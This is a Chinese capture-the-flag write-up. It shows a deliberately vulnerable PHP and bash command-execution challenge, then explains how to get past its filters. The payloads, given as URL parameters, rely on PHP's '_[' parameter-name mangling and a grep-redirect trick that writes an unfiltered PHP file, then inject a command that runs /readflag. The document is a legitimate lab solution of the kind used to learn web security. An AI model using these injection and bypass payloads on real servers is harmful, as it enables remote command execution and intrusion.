zako
index.php
<?php
//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));
$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd) > 70) {
die("no, > 70");
}if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute)/is", $cmd)){
die("你就不能绕一下喵");
}
system("./execute.sh '".$cmd."'");
?>
execute.sh
#!/bin/bash
reject(){
echo ${1}
exit 1
}
XXXCMD=$1
awk -v str="${XXXCMD}" \
'BEGIN{
deny="`;&$(){}[]!@#$%^&*-";
for(i = 1; i <= length(str); i++){
char = substr(str, i, 1);
for(x = 1; x < length(deny)+1; x++){
r = substr(deny, x, 1);
if(char == r) exit 1;
}
}
}'
[ $? -ne 0 ] && reject "NOT ALLOW 1"
eval_cmd=`echo "${XXXCMD}" | awk -F "|" \
'BEGIN{
allows[1] = "ls";
allows[2] = "makabaka";
allows[3] = "whoareu";
allows[4] = "cut~no";
allows[5] = "grep";
allows[6] = "wc";
allows[7] = "杂鱼❤~杂鱼❤~";
allows[8] = "netstat.jpg";
allows[9] = "awsl";
allows[10] = "dmesg";
allows[11] = "xswl";
}{
num=1;
for(i=1; i<=NF; i++){
for(x=1; x<=length(allows); x++){
cmpstr = substr($i, 1, length(allows[x]));
if(cmpstr == allows[x])
eval_cmd[num++] = $i;
}
}
}END{
for(i=1; i<=length(eval_cmd); i++) {
if(i!=1)
printf "| %s", eval_cmd[i];
else
printf "%s", eval_cmd[i];
}
}'`
[ "${XXXCMD}" = "" ] && reject "NOT ALLOW 2"
eval ${eval_cmd}
首先是传参的问题,要传_[secret.xswl.io,而不是__secret.xswl.io,php里会把变量名里非法的字符转化为_,但是在php8之前的版本,在遇到[的时候,把[转化为_,然后之后的非法字符就不再转化了。
然后是可以执行的系统命令,下载execute.sh发现只有ls和grep可以用,还有很多字符都被过滤了。但是我们可以在php里进行命令拼接。
但是php过滤了很多,最开始是看不到过滤了什么的。我们要先读取index.php的完整内容。grep是可以读取文件内容的。grep a index.php 可以返回index.php有a字符串那行的内容。直接把26个字母全爆一遍就可以了。index被过滤了,用inde?来绕过
通过ls和grep,我们已经可以读取有权限的文件的内容了。但是/flag我们只能通过/readflag来读取,所以我们一定要运行/readflag,但是execute.sh下是没办法的,所以我们一定要进行命令拼接。但是index.php过滤的很严,无法绕过。所以我们通过grep来写一个新的没过滤的php文件
payload:
/index.php路由下?_[secret.xswl.io=grep php inde?.php >> 2.php
?_[secret.xswl.io=grep highlight inde?.php >> 2.php
?_[secret.xswl.io=grep REQUEST inde?.php >> 2.php
?_[secret.xswl.io=grep system inde?.php >> 2.php
/2.php下?_[secret.xswl.io='|'/readflag